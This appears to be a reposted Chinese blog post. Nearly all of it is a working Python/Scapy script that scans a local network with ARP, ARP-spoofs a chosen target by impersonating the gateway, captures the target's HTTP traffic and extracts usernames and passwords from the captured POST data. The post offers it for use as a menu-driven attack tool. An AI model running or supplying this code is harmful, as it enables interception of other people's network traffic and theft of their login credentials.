python 实现扫描器,arp欺骗,数据包分析。

from scapy.all import *
import os
import re
import time
import threading
result=os.popen("route print").read()  
re1=re.findall(r"0\.0\.0\.0\s+0\.0\.0\.0\s+(.+?)\s+(.+?)\s",result)
gateway=re1[0][0]   #获取本机网关
ip=re1[0][1]   #获取本机ip
addr={}
print(ip,gateway)
def scan(IpScan):
    print("扫描中,请稍候...")
    #r与srp,发送并接受,且sr不能发送二层协议,srp才能。
    #ans是收到的有响应的包,unans指收到的没有响应的包。
    ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan),timeout=2,verbose=0)
    print("本次扫描一共扫描到%d台主机:" % len(ans))
    for send,recv in ans:  
        #接受对方回应包里面的Mac地址和IP地址
        print("%s----%s"%(recv[Ether].src,recv[ARP].psrc))  
        #将对方的回应的Mac地址和IP地址存到字典里面key=ip,value=mac
        addr[recv[ARP].psrc]=recv[Ether].src
def cap(tt,m):
    #监听接收方ip是m的https信息tt秒,并存到pks里面
    pkts=sniff(filter="tcp dst port 80 and host {}".format(m),timeout=tt)
    wrpcap("demo.pcap",pkts)  #保存在同一目录,生成demo.pcap文件
    print("抓包数据已保存!")
def spoof():
    m=input("请输入一个攻击目标:")
    t1=int(input("请输入攻击时间:"))
    t=threading.Thread(target=cap,args=(t1,m))
    t.start()
    for i in range(t1*5):
        #arp欺骗,冒充网关给m发包
        sendp(Ether(dst=addr[m])/ARP(psrc=gateway,pdst=m),verbose=0)
        time.sleep(0.1)
    print("攻击完成!")
def analyze():
    pkts=rdpcap("demo.pcap")#读取包
    for p in pkts:
        if p.haslayer(Raw):#找出有上网数据的
            try:
                httpr=p.load.decode()
                if not httpr.startswith("GET"):   #找post的包
                    #userName=17791900663&passWord=abc123456
                    username=re.findall(r"userName=(\w+)",httpr)
                    pwd=re.findall(r"passWord=(\w+)",httpr)
                    if username and pwd:
                        print(time.ctime(p.time))
                        print("用户名:",username[0])
                        print("密码:",pwd[0])
            except:
                pass
while 1:
    print("欢迎使用我的局域网小工具:")
    print("1    扫描")
    print("2    欺骗")
    print("3    分析")
    print("4    退出")
    op=input("你的操作:")
    if op=="1":
        scan(ip+"/24")
    elif op=="2":
        spoof()
    elif op=="3":
        analyze()
    else:
        break
print("再见!")

猜你喜欢

转载自blog.csdn.net/haha13l4/article/details/89594637